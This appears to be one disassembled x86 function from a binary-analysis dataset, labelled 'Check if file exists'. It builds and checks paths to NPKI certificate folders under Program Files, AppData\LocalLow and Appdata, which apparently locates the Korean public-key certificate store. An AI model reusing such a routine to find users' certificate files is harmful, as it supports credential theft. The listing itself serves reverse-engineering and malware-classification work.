Function at 0x402bf5
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], 0
push 8
call fcn.0040b767
add esp, 4
mov dword [ebp - 8], eax
mov edi, eax
mov esi, 0x419687
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
call fcn.00403344
mov dword [ebp - 0x14], eax
push 0x419789
push dword [ebp - 0x14]
mov ecx, 2
call fcn.0040107b
add esp, 8
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x402c5e
push ebx
call fcn.0040b76d
add esp, 4
mov eax, dword [ebp - 0x18]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x402c72
push ebx
call fcn.0040b76d
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0x80000004
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x402c89
mov eax, 0x41921e
push eax
push 1
mov ebx, 0x234
call fcn.0040dc40
add esp, 0x10
lea eax, [ebp - 8]
push eax
call fcn.004033eb
mov ebx, dword [ebp - 8]
call fcn.00402bbc
xor ecx, ecx
push eax
lea eax, [ebp - 0xc]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x403037
mov ebx, dword [ebp - 8]
call fcn.00402bd5
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x402ce1
push 4
call fcn.0040b75b
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x402cf4
push 1
call fcn.0040b75b
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x14], ebx
push 0x80000005
push 0
mov ebx, dword [ebp - 0x14]
mov eax, dword [ebx]
test eax, eax
jne 0x402d11
mov eax, 0x419687
push eax
push 1
mov ebx, 0x168
call fcn.0040d2b0
add esp, 0x10
mov dword [ebp - 0x18], eax
push 0x41978d
push dword [ebp - 0x18]
mov ecx, 2
call fcn.0040107b
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x402d4f
push ebx
call fcn.0040b76d
add esp, 4
mov dword [ebp - 0x20], esp
push dword [ebp - 0x1c]
call dword [0x41718c]
nop
nop
nop
nop
cmp dword [ebp - 0x20], esp
je 0x402d71
push 6
call fcn.0040b75b
add esp, 4
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x402d84
push ebx
call fcn.0040b76d
add esp, 4
cmp dword [ebp - 0x24], 1
jne 0x40302f
mov ebx, dword [ebp - 8]
call fcn.00402bd5
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x402dab
push 4
call fcn.0040b75b
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x402dbe
push 1
call fcn.0040b75b
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x14], ebx
push 0x80000005
push 0
mov ebx, dword [ebp - 0x14]
mov eax, dword [ebx]
test eax, eax
jne 0x402ddb
mov eax, 0x419687
push eax
push 1
mov ebx, 0x168
call fcn.0040d2b0
add esp, 0x10
mov dword [ebp - 0x18], eax
push 0x41978d
push dword [ebp - 0x18]
mov ecx, 2
call fcn.0040107b
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x402e19
push ebx
call fcn.0040b76d
add esp, 4
mov eax, dword [ebp - 0x1c]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x402e2d
push ebx
call fcn.0040b76d
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
call fcn.00402bd5
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x402e4e
push 4
call fcn.0040b75b
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x402e61
push 1
call fcn.0040b75b
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x14], ebx
push 0x80000005
push 0
mov ebx, dword [ebp - 0x14]
mov eax, dword [ebx]
test eax, eax
jne 0x402e7e
mov eax, 0x419687
push eax
push 1
mov ebx, 0x168
call fcn.0040d2b0
add esp, 0x10
mov dword [ebp - 0x18], eax
push 0x80000301
push 0
push 1
push 0x80000004
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x402eb3
mov eax, 0x41921e
push eax
push 2
mov ebx, 0x134
call fcn.0040dc70
add esp, 0x1c
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x402ed9
push ebx
call fcn.0040b76d
add esp, 4
push dword [ebp - 0x1c]
push 0x419298
push dword [ebp - 4]
mov ecx, 3
call fcn.0040107b
add esp, 0xc
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x402f04
push ebx
call fcn.0040b76d
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x402f17
mov eax, 0x41921e
push eax
push 1
mov ebx, 0x234
call fcn.0040dc40
add esp, 0x10
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x402f3a
push ebx
call fcn.0040b76d
add esp, 4
mov ebx, dword [ebp - 8]
call fcn.00402bd5
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x402f57
push 4
call fcn.0040b75b
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x402f6a
push 1
call fcn.0040b75b
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x14], ebx
push 0x80000005
push 0
mov ebx, dword [ebp - 0x14]
mov eax, dword [ebx]
test eax, eax
jne 0x402f87
mov eax, 0x419687
push eax
push 1
mov ebx, 0x168
call fcn.0040d2b0
add esp, 0x10
mov dword [ebp - 0x18], eax
push 0x80000301
push 0
push 1
push 0x80000004
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x402fbc
mov eax, 0x41921e
push eax
push 2
mov ebx, 0x134
call fcn.0040dc70
add esp, 0x1c
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x402fe2
push ebx
call fcn.0040b76d
add esp, 4
push str.NPKI
push dword [ebp - 0x1c]
push 0x419298
push dword [ebp - 4]
mov ecx, 4
call fcn.0040107b
add esp, 0x10
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x403012
push ebx
call fcn.0040b76d
add esp, 4
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.0040355a
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x40302f
push ebx
call fcn.0040b76d
add esp, 4
pop eax
pop ebx
pop ecx
jmp 0x402cb6
add esp, 0xc
call fcn.00403b20
mov dword [ebp - 0x14], eax
push str.NPKI
push dword [ebp - 0x14]
mov ecx, 2
call fcn.0040107b
add esp, 8
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x40306a
push ebx
call fcn.0040b76d
add esp, 4
mov dword [ebp - 0x1c], esp
push dword [ebp - 0x18]
call dword [0x41718c]
nop
nop
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x40308c
push 6
call fcn.0040b75b
add esp, 4
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x40309f
push ebx
call fcn.0040b76d
add esp, 4
cmp dword [ebp - 0x20], 1
jne 0x403174
call fcn.00403b20
mov dword [ebp - 0x14], eax
push str.NPKI
push dword [ebp - 0x14]
mov ecx, 2
call fcn.0040107b
add esp, 8
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x4030d9
push ebx
call fcn.0040b76d
add esp, 4
mov eax, dword [ebp - 0x18]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x4030ed
push ebx
call fcn.0040b76d
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
push 0x419798
push dword [ebp - 4]
mov ecx, 2
call fcn.0040107b
add esp, 8
mov dword [ebp - 0x14], eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x40311c
mov eax, 0x41921e
push eax
push 1
mov ebx, 0x234
call fcn.0040dc40
add esp, 0x10
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x40313f
push ebx
call fcn.0040b76d
add esp, 4
push str.PfNPKI
push dword [ebp - 4]
mov ecx, 2
call fcn.0040107b
add esp, 8
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.0040355a
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x403174
push ebx
call fcn.0040b76d
add esp, 4
call fcn.00403bd1
mov dword [ebp - 0x14], eax
push str.AppDataLocalLowNPKI
push dword [ebp - 0x14]
push str.C:Users_
mov ecx, 3
call fcn.0040107b
add esp, 0xc
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x4031a9
push ebx
call fcn.0040b76d
add esp, 4
mov dword [ebp - 0x1c], esp
push dword [ebp - 0x18]
call dword [0x41718c]
nop
nop
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x4031cb
push 6
call fcn.0040b75b
add esp, 4
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4031de
push ebx
call fcn.0040b76d
add esp, 4
cmp dword [ebp - 0x20], 1
jne 0x4032b8
call fcn.00403bd1
mov dword [ebp - 0x14], eax
push str.AppDataLocalLowNPKI
push dword [ebp - 0x14]
push str.C:Users_
mov ecx, 3
call fcn.0040107b
add esp, 0xc
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x40321d
push ebx
call fcn.0040b76d
add esp, 4
mov eax, dword [ebp - 0x18]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x403231
push ebx
call fcn.0040b76d
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
push str.Appdata
push dword [ebp - 4]
mov ecx, 2
call fcn.0040107b
add esp, 8
mov dword [ebp - 0x14], eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x403260
mov eax, 0x41921e
push eax
push 1
mov ebx, 0x234
call fcn.0040dc40
add esp, 0x10
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x403283
push ebx
call fcn.0040b76d
add esp, 4
push str.AppdataNPKI
push dword [ebp - 4]
mov ecx, 2
call fcn.0040107b
add esp, 8
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.0040355a
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x4032b8
push ebx
call fcn.0040b76d
add esp, 4
mov eax, dword [ebp - 4]
test eax, eax
je 0x4032d4
push eax
mov ebx, eax
call fcn.00401010
inc eax
push eax
call fcn.0040b767
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x4032d9
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4032ea
push ebx
call fcn.0040b76d
add esp, 4
mov ebx, dword [ebp - 8]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x403308
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x403304
imul eax, dword [ebx]
jmp 0x4032f9
mov ecx, eax
test ecx, ecx
je 0x403327
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x403320
push ebx
push eax
call fcn.0040b76d
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x40330e
call fcn.0040b76d
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x40333f
push ebx
call fcn.0040b76d
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret